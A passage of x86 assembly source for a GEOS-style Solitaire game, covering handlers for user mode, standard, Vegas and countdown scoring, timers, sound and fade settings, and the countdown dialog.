mov di, mask MF_FIXUP_DS
call ObjMessage
ret
CallTableauElements endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireSetUserMode
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_GAME_SET_USER_MODE handler for SolitaireClass
Sets the User mode for the game, which in turn causes
a change in the rules for the decks. See commentation to
SolitaireSetRules.
CALLED BY:
PASS: cl = UserMode
CHANGES: KI_userMode <- cl
RETURN: nothing
DESTROYED: cl, di
PSEUDO CODE/STRATEGY:
KNOWN BUGS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 8/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireSetUserMode method SolitaireClass, MSG_GAME_SET_USER_MODE
;
; Get the user mode
;
CallObject UserModeList, MSG_GEN_ITEM_GROUP_GET_SELECTION, MF_CALL
mov_tr cx, ax
mov di, segment SolitaireClass
mov es, di
mov di, offset SolitaireClass
mov ax, MSG_GAME_SET_USER_MODE
call ObjCallSuperNoLock
;
; Now we'll set the rules by changing the DDWC's of the
; tableau elements and the foundations
;
mov bl, cl
mov cx, DDWC_TOP_OR_UPS
mov dx, DDWC_NONE
cmp bl, ADVANCED_MODE
je setRules
mov cx, DDWC_UNTIL_SELECTED
cmp bl, INTERMEDIATE_MODE
je setRules
mov dx, DDWC_TOP_ONLY
setRules:
mov ax, MSG_SOLITAIRE_SET_RULES
call ObjCallInstanceNoLock
done::
ret
SolitaireSetUserMode endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireGetScoringType
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_SOLITAIRE_GET_SCORING_TYPE handler for SolitaireClass
Returns the scoring mode of the game.
CALLED BY:
PASS: nothing
CHANGES:
RETURN: cl = ScoringType
DESTROYED: cl, di
PSEUDO CODE/STRATEGY:
KNOWN BUGS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 8/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireGetScoringType method SolitaireClass, MSG_SOLITAIRE_GET_SCORING_TYPE
mov cl, ds:[di].KI_scoringType
ret
SolitaireGetScoringType endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireSetScoringType
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_SOLITAIRE_SET_SCORING_TYPE handler for SolitaireClass
Sets the scoring type for the game
CALLED BY:
PASS: cl = ScoringType
CHANGES: KI_scoringType <- cl
RETURN: nothing
DESTROYED: ax, bx, cx, dx, di
PSEUDO CODE/STRATEGY:
set scoring type
if scoring type is ST_NONE, disable score diplays
else enavle score displays
KNOWN BUGS/IDEAS:
when score displays (or time displays) are enabled, the geometry is
screwed until you resize the window
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 8/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireSetScoringType method SolitaireClass, MSG_SOLITAIRE_SET_SCORING_TYPE
;
; Get scoring mode
;
push si
mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION
mov bx, handle ScoringList
mov si, offset ScoringList
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage ;aX <- excl = ScoringType
pop si
mov_tr cx, ax
mov di, ds:[si]
add di, ds:[di].Solitaire_offset
mov ds:[di].KI_scoringType, cl
push si
mov ax, MSG_GEN_SET_USABLE
mov bx, handle ScoreDisplay
mov si, offset ScoreDisplay
mov di, mask MF_FIXUP_DS
mov dl, VUM_NOW
cmp cl, ST_VEGAS
jle hideOrShowDisplay
mov ax, MSG_GEN_SET_NOT_USABLE
hideOrShowDisplay:
call ObjMessage
pop si
CheckHack <ST_STANDARD_TIMED eq 0 >
mov ax, MSG_SOLITAIRE_TURN_TIME_ON
jcxz startTimer
mov ax, MSG_SOLITAIRE_TURN_TIME_OFF
startTimer:
push cx
call ObjCallInstanceNoLock
pop cx
checkStandard::
cmp cl, ST_STANDARD_UNTIMED
mov ax, MSG_SOLITAIRE_SETUP_STANDARD_SCORING
jle setup
mov ax, MSG_SOLITAIRE_SETUP_ST_VEGAS
cmp cl, ST_VEGAS
je setup
cmp cl, ST_COUNTDOWN
jne done
mov ax, MSG_SOLITAIRE_SETUP_ST_COUNTDOWN
setup:
call ObjCallInstanceNoLock
done:
;
; Show the new score
;
mov di, ds:[si]
add di, ds:[di].Game_offset
mov cx, ds:[di].GI_score
clr dx
mov ax, MSG_GAME_UPDATE_SCORE
call ObjCallInstanceNoLock
ret
SolitaireSetScoringType endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireSetFadeStatus
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_SOLITAIRE_SET_FADE_STATUS handler for SolitaireClass
turns fading either on or off
CALLED BY:
PASS: nothing
CHANGES: turns time on or off
RETURN: nothing
DESTROYED: ax, cx, dx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/IDEAS:
anyway to get TimeGameEntry to send different methods depending on its own
state?
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 8/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireSetFadeStatus method SolitaireClass, MSG_SOLITAIRE_SET_FADE_STATUS
CallObject FadeList, MSG_GEN_BOOLEAN_GROUP_GET_SELECTED_BOOLEANS,MF_CALL
mov dl, SDM_100 ;SDM_100 = no fading
test al, 1
jz setStatus
mov dl, SDM_0 ;SDM_0 = full fading
setStatus:
mov cl, -4 ; (SDM_12_5 - SDM_0)/2
;
; At this point, dl = initial fade mask
; cl = incremental fade mask
;
mov ax, MSG_GAME_SET_FADE_PARAMETERS
call ObjCallInstanceNoLock
ret
SolitaireSetFadeStatus endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireSetSoundStatus
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_SOLITAIRE_SET_SOUND_STATUS handler for SolitaireClass
turns sound either on or off
CALLED BY:
PASS: nothing
CHANGES: turns sound on or off
RETURN: nothing
DESTROYED: ax, cx, dx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dhunter 2/5/2000 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireSetSoundStatus method SolitaireClass, MSG_SOLITAIRE_SET_SOUND_STATUS
; Truly, this is easy.
CallObject SoundList, MSG_GEN_BOOLEAN_GROUP_GET_SELECTED_BOOLEANS,MF_CALL
PointDi2 Game_offset
and al, 1 ;filter through mute bit
mov ds:[di].KI_muteSound, al
ret
SolitaireSetSoundStatus endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireTurnTimeOn
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_SOLITAIRE_TURN_TIME_ON handler for SolitaireClass
Enables the time display and initializes the timer
CALLED BY:
PASS: nothing
CHANGES: KI_timeStatus <- TIME_ON
A timer is started to send MSG_SOLITAIRE_ONE_SECOND_ELAPSED's
to MySolitaire every guess-how-often.
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 8/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireTurnTimeOn method SolitaireClass, MSG_SOLITAIRE_TURN_TIME_ON
mov ds:[di].KI_timeStatus, TIME_ON
;
; Enable the time display
;
mov dl, VUM_NOW
CallObject TimeDisplay, MSG_GEN_SET_USABLE, MF_FIXUP_DS
;
; Set up the timer 'n stuff
;
mov ax, MSG_SOLITAIRE_INITIALIZE_TIME
GOTO ObjCallInstanceNoLock
SolitaireTurnTimeOn endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireTurnTimeOff
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_SOLITAIRE_TURN_TIME_OFF handler for SolitaireClass
Sets KI_timeStatus to TIME_OFF, disables any active timers,
and disables the time displays.
CALLED BY:
PASS: nothing
CHANGES: KI_timeStatus <- TIME_OFF
KI_timerHandle <- 0
timer that was in KI_timerHandle (if any) is stopped
time displays are disabled.
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 8/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireTurnTimeOff method SolitaireClass, MSG_SOLITAIRE_TURN_TIME_OFF
mov ds:[di].KI_timeStatus, TIME_OFF
;
; If there's a timer going, we need to stop it
;
clr bx
xchg bx, ds:[di].KI_timerHandle
tst bx
jz hideTime
clr ax ; 0 => continual
call TimerStop
hideTime:
mov dl, VUM_NOW
CallObjectNS TimeDisplay, MSG_GEN_SET_NOT_USABLE, MF_FIXUP_DS
ret
SolitaireTurnTimeOff endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireInitializeScore
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_SOLITAIRE_INITIALIZE_SCORE handler for SolitaireClass
Figures out what the intial score should be depending on
the scoring type, then calls MSG_GAME_UPDATE_SCORE
CALLED BY:
PASS: nothing
CHANGES:
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 8/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireInitializeScore method SolitaireClass, MSG_SOLITAIRE_INITIALIZE_SCORE
mov ax, MSG_SOLITAIRE_GET_SCORING_TYPE
call ObjCallInstanceNoLock ;cl <- scoring type
cmp cl, ST_STANDARD_UNTIMED ;standard scoring?
jg notStandard
mov ax, MSG_SOLITAIRE_SETUP_STANDARD_SCORING
call ObjCallInstanceNoLock
mov cx, INITIAL_STANDARD_SCORE
jmp init
notStandard:
cmp cl, ST_VEGAS ;vegas scoring?
jne endSolitaireInitializeScore ;default to no scoring
mov ax, MSG_SOLITAIRE_SETUP_ST_VEGAS
call ObjCallInstanceNoLock
clr cx
init:
clr dx
mov ax, MSG_GAME_UPDATE_SCORE
call ObjCallInstanceNoLock
endSolitaireInitializeScore:
PointDi2 Deck_offset
mov ax, ds:[di].GI_score
mov ds:[di].GI_lastScore, ax
ret
SolitaireInitializeScore endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireSetupStandardScoring
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_SOLITAIRE_SETUP_STANDARD_SCORING handler for SolitaireClass
Sets up all the decks so that the points they award/penalize
for etc. correspond to standard scoring.
CURRENT STANDARD SCORING:
* Lose 1 point every 10 seconds.
* For Talon:
5 point for removing a card
* For Foundations:
10 points for adding a card
-15 points for removing a card
* For Tableau Elements:
5 points for flipping a card
* For returning all the cards from talon to hand:
10 * (# drawCards) - 40
CALLED BY:
PASS: nothing
CHANGES:
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 11/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireSetupStandardScoring method SolitaireClass,MSG_SOLITAIRE_SETUP_STANDARD_SCORING
mov ds:[di].GI_score, INITIAL_STANDARD_SCORE
if 0
;
; Set current hi score file = vegas
;
push es:[standardHiScoreFile]
pop es:[currentHiScoreFile]
mov es:[currentHiScoreFileNamePtr], offset standardHiScoreFileName
;
; Set Time high score column usable, score column unusable
;
mov dl, VUM_NOW
CallObject HighScoreScoreGroup, MSG_GEN_SET_USABLE, MF_FIXUP_DS
CallObject HighScoreTimeGroup, MSG_GEN_SET_USABLE, MF_FIXUP_DS
endif
;
; Set up the hand's score values
;
mov cx, SS_HAND_PUSH
mov dx, SS_HAND_POP
mov bp, SS_HAND_FLIP
CallObject MyHand, MSG_DECK_SET_POINTS, MF_FIXUP_DS
;
; Compute the cost of returning all the cards from the talon
; to the hand. Formula is:
;
; 10 * (drawCards) - 40
;
PointDi2 Game_offset
clr ah
mov al, ds:[di].KI_drawNumber
mov bp, 10
mul bp
sub ax, 40
mov bp, ax
mov cx, SS_TALON_PUSH
mov dx, SS_TALON_POP
CallObject MyTalon, MSG_DECK_SET_POINTS, MF_FIXUP_DS
;
; Set Foundation score values
;
mov cx, SS_FOUNDATION_PUSH
mov dx, SS_FOUNDATION_POP
mov bp, SS_FOUNDATION_FLIP
mov ax, MSG_DECK_SET_POINTS
call CallFoundations
;
; Set tableau element score values
;
mov cx, SS_TABLEAU_PUSH
mov dx, SS_TABLEAU_POP
mov bp, SS_TABLEAU_FLIP
mov ax, MSG_DECK_SET_POINTS
call CallTableauElements
ret
SolitaireSetupStandardScoring endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireSetupVegasScoring
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_SOLITAIRE_SETUP_ST_VEGAS handler for SolitaireClass
Sets up all the decks so that the points they award/penalize
for etc. correspond to vegas scoring.
CURRENT VEGAS SCORING:
* Lose 52 points for each new game
* Get 5 points for each card played to foundations
CALLED BY:
PASS: nothing
CHANGES:
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 11/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireSetupVegasScoring method SolitaireClass,MSG_SOLITAIRE_SETUP_ST_VEGAS
;
; score <- cash
;
mov ds:[di].GI_score, INITIAL_VEGAS_SCORE
if 0
;
; Set current hi score file = vegas
;
push es:[vegasHiScoreFile]
pop es:[currentHiScoreFile]
mov es:[currentHiScoreFileNamePtr], offset vegasHiScoreFileName
;
; Set Time high score column usable, score column unusable
;
mov dl, VUM_NOW
CallObject HighScoreScoreGroup, MSG_GEN_SET_USABLE, MF_FIXUP_DS
CallObject HighScoreTimeGroup, MSG_GEN_SET_NOT_USABLE, MF_FIXUP_DS
endif
mov cx, VS_HAND_PUSH
mov dx, VS_HAND_POP
mov bp, VS_HAND_FLIP
CallObjectNS MyHand, MSG_DECK_SET_POINTS, MF_FIXUP_DS
mov cx, VS_TALON_PUSH
mov dx, VS_TALON_POP
mov bp, VS_TALON_FLIP
CallObjectNS MyTalon, MSG_DECK_SET_POINTS, MF_FIXUP_DS
mov cx, VS_FOUNDATION_PUSH
mov dx, VS_FOUNDATION_POP
mov bp, VS_FOUNDATION_FLIP
mov ax, MSG_DECK_SET_POINTS
call CallFoundations
mov cx, VS_TABLEAU_PUSH
mov dx, VS_TABLEAU_POP
mov bp, VS_TABLEAU_FLIP
mov ax, MSG_DECK_SET_POINTS
call CallTableauElements
ret
SolitaireSetupVegasScoring endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireInitializeTime
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_SOLITAIRE_INITIALIZE_TIME handler for SolitaireClass
Clears # of seconds elapsed, stops any existing timers,
then starts a new one.
CALLED BY:
PASS: nothing
CHANGES:
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 8/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireInitializeTime method SolitaireClass, MSG_SOLITAIRE_INITIALIZE_TIME
;
; reset the number of seconds
;
cmp ds:[di].KI_scoringType, ST_COUNTDOWN
jne checkStandard
mov ax, ds:[di].KI_countdownTime
mov ds:[di].KI_time, ax
jmp updateDisplay
checkStandard:
cmp ds:[di].KI_scoringType, ST_STANDARD_TIMED
jne done
mov ax, SS_SECONDS_PER_TAX
inc ax ;one more, so
;that the first
;tax doesn't
;occur one
;second early
mov ds:[di].KI_countdownTime, ax
clr ds:[di].KI_time ;default to 0
updateDisplay:
mov ds:[di].KI_timeStatus, TIME_ON
mov ax, MSG_SOLITAIRE_UPDATE_TIME
call ObjCallInstanceNoLock
;
; check to see if we already have a timer
;
mov di, ds:[si]
add di, ds:[di].Solitaire_offset
mov cx, ds:[di].KI_timerHandle
jcxz startTimer
done:
ret
startTimer:
mov bx, ds:[LMBH_handle]
mov al, TIMER_EVENT_CONTINUAL ;Timer Type
mov dx, MSG_SOLITAIRE_ONE_SECOND_ELAPSED ;what method to send?
mov di, ONE_SECOND ;how often?
call TimerStart
PointDi2 Game_offset
mov ds:[di].KI_timerHandle, bx ;keep track of the timer handle
;so we can shut the damn thing
;off when needed.
jmp done
SolitaireInitializeTime endm
SolitaireSetCountdownTime method SolitaireClass, MSG_SOLITAIRE_SET_COUNTDOWN_TIME
call SolitairePauseTimer
push si
mov bx, handle CountdownBox
mov si, offset CountdownBox
call UserDoDialog
pop si
call SolitaireUnpauseTimer
; edwdig - was IC_APPLY, changed due to dialog type change
cmp ax, IC_OK
jne cancel
if 0
mov ax, MSG_SOLITAIRE_SETUP_ST_COUNTDOWN
call ObjCallInstanceNoLock
endif
mov cx, ST_COUNTDOWN
mov ax, MSG_SOLITAIRE_USER_REQUESTS_SCORING_TYPE_CHANGE
call ObjCallInstanceNoLock
done:
ret
cancel:
;
; Need to reset the Minute and Second range objects to original values.
;
mov di, ds:[si]
add di, ds:[di].Solitaire_offset
mov cx, ds:[di].KI_totalCountdownTime
mov ax, MSG_SOLITAIRE_SET_UI_COUNTDOWN_SECONDS
call ObjCallInstanceNoLock
;
; Need to clear modified state in the Minute and Second range
; objects so that OK trigger will be enabled if they are changed
; the next time the dialog is put up. IC_DISMISS doesn't do this
; for us. -- jwu 9/23/93
;
; edwdig - not needed anymore since the ok trigger is now
; always enabled, hence, modified state doesn't matter.
if 0
mov ax, MSG_GEN_VALUE_SET_MODIFIED_STATE
clr cx ; set to not modified
mov di, mask MF_CALL or mask MF_FIXUP_DS
push ax, cx, di ; save for SecondRange
GetResourceHandleNS MinuteRange, bx
mov si, offset MinuteRange
call ObjMessage
pop ax, cx, di ; msg, params...
GetResourceHandleNS SecondRange, bx
mov si, offset SecondRange
call ObjMessage
endif
; edwdig - Death can pop up at times when we don't want him to...
; So, let's just always set him not usable while we're here
GetResourceHandleNS TooEasyInteraction, bx
mov si, offset TooEasyInteraction
mov ax, MSG_GEN_SET_NOT_USABLE
mov di, mask MF_CALL or mask MF_FIXUP_DS
mov dl, VUM_DELAYED_VIA_UI_QUEUE
call ObjMessage
mov dl, VUM_NOW
CallObject CountdownBox, MSG_GEN_RESET_TO_INITIAL_SIZE, MF_FIXUP_DS
jmp short done
SolitaireSetCountdownTime endm
SolitaireSetupCountdownScoring method SolitaireClass, MSG_SOLITAIRE_SETUP_ST_COUNTDOWN
if 0
;
; Set current hi score file = countdown
;
push es:[countdownHiScoreFile]
pop es:[currentHiScoreFile]
mov es:[currentHiScoreFileNamePtr], offset countdownHiScoreFileName
;
; Set Time high score column usable, score column unusable
;
mov dl, VUM_NOW
CallObject HighScoreScoreGroup, MSG_GEN_SET_NOT_USABLE, MF_FIXUP_DS
CallObject HighScoreTimeGroup, MSG_GEN_SET_USABLE, MF_FIXUP_DS
endif
mov ax, MSG_SOLITAIRE_GET_COUNTDOWN_SECONDS_FROM_UI
call ObjCallInstanceNoLock
jcxz noTime
mov di, ds:[si]
add di, ds:[di].Solitaire_offset
mov ds:[di].KI_countdownTime, cx
mov ds:[di].KI_totalCountdownTime, cx
mov dl, VUM_NOW
CallObject TooEasyInteraction, MSG_GEN_SET_NOT_USABLE, MF_FIXUP_DS
mov dl, VUM_NOW
CallObject CountdownBox, MSG_GEN_RESET_TO_INITIAL_SIZE, MF_FIXUP_DS
mov ax, MSG_SOLITAIRE_INITIALIZE_TIME
call ObjCallInstanceNoLock
mov ax, MSG_SOLITAIRE_TURN_TIME_ON
call ObjCallInstanceNoLock
done:
ret
noTime:
mov dl, VUM_MANUAL
CallObject TooEasyInteraction, MSG_GEN_SET_USABLE, MF_FIXUP_DS
mov dl, VUM_NOW
CallObject CountdownBox, MSG_GEN_RESET_TO_INITIAL_SIZE, MF_FIXUP_DS
;
; edwdig
; Need to reset the Minute and Second range objects to original values.
; Also need to make sure the timer shows
;
mov di, ds:[si]
add di, ds:[di].Solitaire_offset
mov cx, ds:[di].KI_totalCountdownTime
mov ds:[di].KI_countdownTime, cx
mov ax, MSG_SOLITAIRE_SET_UI_COUNTDOWN_SECONDS
call ObjCallInstanceNoLock
mov ax, MSG_SOLITAIRE_INITIALIZE_TIME
call ObjCallInstanceNoLock
mov ax, MSG_SOLITAIRE_TURN_TIME_ON
call ObjCallInstanceNoLock
mov ax, MSG_SOLITAIRE_SET_COUNTDOWN_TIME
call ObjCallInstanceNoLock
jmp done
SolitaireSetupCountdownScoring endm
SolitaireGetCountdownSecondsFromUI method SolitaireClass, MSG_SOLITAIRE_GET_COUNTDOWN_SECONDS_FROM_UI
uses ax, dx
.enter
CallObjectNS MinuteRange, MSG_GEN_VALUE_GET_VALUE, MF_CALL
mov cx, dx
clr dx
mov ax, 60
mul cx
push ax
CallObjectNS SecondRange, MSG_GEN_VALUE_GET_VALUE, MF_CALL
pop ax
add dx, ax
mov cx, dx
.leave
ret
SolitaireGetCountdownSecondsFromUI endm
SolitaireSetUICountdownSeconds method SolitaireClass,
MSG_SOLITAIRE_SET_UI_COUNTDOWN_SECONDS
uses ax, cx, dx, bp
.enter
mov_trash ax, cx
clr dx
mov cx, 60
div cx
mov_trash cx, ax
push dx
mov dx, cx
clr cx, bp
CallObjectNS MinuteRange, MSG_GEN_VALUE_SET_VALUE, MF_CALL
pop dx
clr bp, cx
CallObjectNS SecondRange, MSG_GEN_VALUE_SET_VALUE, MF_CALL
.leave
ret
SolitaireSetUICountdownSeconds endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireOneSecondElapsed
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_SOLITAIRE_ONE_SECOND_ELAPSED handler for SolitaireClass
Increments the seconds counter and updates time on the screen.
CALLED BY:
PASS: nothing
CHANGES: increments the seconds counter
RETURN: nothing
DESTROYED: ax, cx, dx, di
PSEUDO CODE/STRATEGY:
increment the seconds counter and call MSG_SOLITAIRE_UPDATE_TIME
KNOWN BUGS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 8/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireOneSecondElapsed method SolitaireClass, MSG_SOLITAIRE_ONE_SECOND_ELAPSED
;
; Check to see whether or not the user has made a move.
; If not, disregard the event
;
cmp ds:[di].GI_lastDonor.handle, USER_HASNT_STARTED_PLAYING_YET
je done
cmp ds:[di].KI_timeStatus, TIME_ON
jg done
mov ax, -1
cmp ds:[di].KI_scoringType, ST_COUNTDOWN
je updateTime
neg ax
updateTime:
add ds:[di].KI_time, ax ;one more second...
mov ax, MSG_SOLITAIRE_UPDATE_TIME
call ObjCallInstanceNoLock
done:
ret
SolitaireOneSecondElapsed endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireUpdateTime
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Updates the time internally and on screen
CALLED BY:
PASS: nothing
CHANGES:
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
sets up score, time then calls TimeToTextObject
KNOWN BUGS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 7/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireUpdateTime method SolitaireClass, MSG_SOLITAIRE_UPDATE_TIME
mov cx, ds:[di].KI_time ;cx <- # seconds
push si
mov di, handle TimeValue
mov si, offset TimeValue
segmov es, ss
push cx ;save time
call TimeToTextObject ;write the time
pop cx ;cx <- time
pop si
PointDi2 Game_offset
cmp ds:[di].GI_lastDonor.handle, USER_HASNT_STARTED_PLAYING_YET
je done
cmp ds:[di].KI_scoringType, ST_STANDARD_TIMED
je checkPenalty
jcxz outOfTime
jmp done
checkPenalty:
dec ds:[di].KI_countdownTime
jz penalize
done:
ret
penalize:
mov ds:[di].KI_countdownTime, SS_SECONDS_PER_TAX
;
; Yes, it's time to penalize!!!
;
clr cx
mov dx, SS_POINTS_PER_TAX ;if so, tax 'em
mov ax, MSG_GAME_UPDATE_SCORE
call ObjCallInstanceNoLock
jmp done
outOfTime:
clr ax
mov bx, ax
xchg bx, ds:[di].KI_timerHandle
call TimerStop
mov ds:[di].KI_timeStatus, TIME_WAITING_FOR_HOMEBOY_TO_STOP_DRAGGING
tst ds:[di].GI_dragger.handle
jnz done
PLAY_SOUND SS_OUT_OF_TIME ; "user is out of time" sound
mov ds:[di].KI_timeStatus, TIME_EXPIRED
mov ax, MSG_GEN_INTERACTION_INITIATE
mov bx, handle OutOfTimeBox
mov si, offset OutOfTimeBox
clr di
call ObjMessage
jmp done
SolitaireUpdateTime endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireNewGame
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_SOLITAIRE_NEW_GAME handler for SolitaireClass
Starts a new game.
CALLED BY:
PASS: nothing
CHANGES:
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
gives the hand all the cards
instructs the hand to shuffle the cards
instructs the hand to deal the cards
initializes time and score displays
KNOWN BUGS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 8/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireNewGame method SolitaireClass, MSG_SOLITAIRE_NEW_GAME
;
; If the user has managed to slip in a bunch of
